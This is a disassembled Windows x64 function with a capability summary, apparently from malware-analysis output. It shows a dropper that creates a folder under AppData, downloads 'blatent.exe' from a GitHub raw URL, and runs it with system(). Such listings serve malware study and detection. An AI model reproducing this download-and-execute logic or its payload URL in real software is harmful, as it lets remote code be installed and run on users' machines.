Function at 0x140002b68
Capabilities:
Create directory
Download url
Execute command
Get common file path
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x128]
sub rsp, 0x210
mov rax, qword [0x140075040]
xor rax, rsp
mov qword [rbp + 0x100], rax
xor esi, esi
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rsi + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea r14d, [rsi + 0xf]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
test eax, eax
js 0x140002bfc
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rsi
lea rax, [rbp - 0x10]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], sil
jne 0x140002bd9
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x48]
call fcn.140005904
mov rbx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
jmp 0x140002c11
mov rcx, rsi
mov qword [rsp + 0x58], rcx
mov rbx, r14
mov qword [rsp + 0x60], rbx
mov byte [rsp + 0x48], sil
mov r15d, 0x1000
test rcx, rcx
jne 0x140002c44
lea rdx, str.Failed_to_get_AppData_path.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400052a0
lea rdx, [0x140005410]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140002f0d
movabs rdi, 0x7fffffffffffffff
mov rax, rdi
sub rax, rcx
cmp rax, 0xe
jb 0x140002f76
lea r9, [rsp + 0x48]
cmp rbx, r14
cmova r9, qword [rsp + 0x48]
mov qword [rsp + 0x30], 0xe
lea rax, str._stellar_build
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x68]
call fcn.140005d88
nop
mov rax, rdi
mov rcx, qword [rsp + 0x78]
sub rax, rcx
cmp rax, 0xc
jb 0x140002f7c
lea r9, [rsp + 0x68]
cmp qword [rbp - 0x80], r14
cmova r9, qword [rsp + 0x68]
mov qword [rsp + 0x30], 0xc
lea rax, str._blatent.exe
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x58]
call fcn.140005d88
nop
mov rax, qword [rsp + 0x58]
sub rdi, rax
cmp rdi, 8
jb 0x140002f70
lea r9, [rsp + 0x48]
cmp qword [rsp + 0x60], r14
cmova r9, qword [rsp + 0x48]
mov qword [rsp + 0x30], 8
lea rcx, str._stellar
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea rcx, [rbp - 0x38]
call fcn.140005d88
lea rcx, [rbp - 0x38]
cmp qword [rbp - 0x20], r14
cmova rcx, qword [rbp - 0x38]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rdx, qword [rbp - 0x20]
cmp rdx, r14
jbe 0x140002d6c
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, r15
jb 0x140002d67
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002d67
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140058880
lea rcx, [rsp + 0x68]
cmp qword [rbp - 0x80], r14
cmova rcx, qword [rsp + 0x68]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov qword [rbp - 0x70], rsi
mov qword [rsp + 0x40], 0x4f
lea rdx, [rsp + 0x40]
call fcn.1400063d8
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x68], 0x48
mov rcx, qword [rsp + 0x40]
mov qword [rbp - 0x60], rcx
movaps xmm0, xmmword [str.https:__raw.githubusercontent.com_malewaretaker_blatent_main_blatent.exe]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x14005e040]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x14005e050]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x14005e060]
movups xmmword [rax + 0x30], xmm1
movsd xmm0, qword [0x14005e070]
movsd qword [rax + 0x40], xmm0
mov byte [rax + 0x48], sil
lea r8, [rbp - 0x58]
cmp qword [rbp - 0x40], r14
cmova r8, qword [rbp - 0x58]
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], r14
cmova rdx, qword [rbp - 0x78]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x140002e2c
lea rcx, [rbp - 0x58]
cmp qword [rbp - 0x40], r14
cmova rcx, qword [rbp - 0x58]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x60]
cmp rdx, r14
jbe 0x140002e65
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, r15
jb 0x140002e60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002e60
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140058880
movdqa xmm0, xmmword [0x14006be60]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], sil
mov rdx, qword [rbp - 0x40]
cmp rdx, r14
jbe 0x140002eb7
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, r15
jb 0x140002eaa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002eaa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140058880
movdqa xmm0, xmmword [0x14006be60]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], sil
mov rdx, qword [rbp - 0x80]
cmp rdx, r14
jbe 0x140002efa
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, r15
jb 0x140002ef5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ef5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140058880
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x80], r14
mov byte [rsp + 0x68], sil
mov rbx, qword [rsp + 0x60]
cmp rbx, r14
jbe 0x140002f44
lea rdx, [rbx + 1]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, r15
jb 0x140002f3f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002f3f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140058880
mov rcx, qword [rbp + 0x100]
xor rcx, rsp
call fcn.140058550
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140001a40
nop
call fcn.140001a40
nop
call fcn.140001a40
int3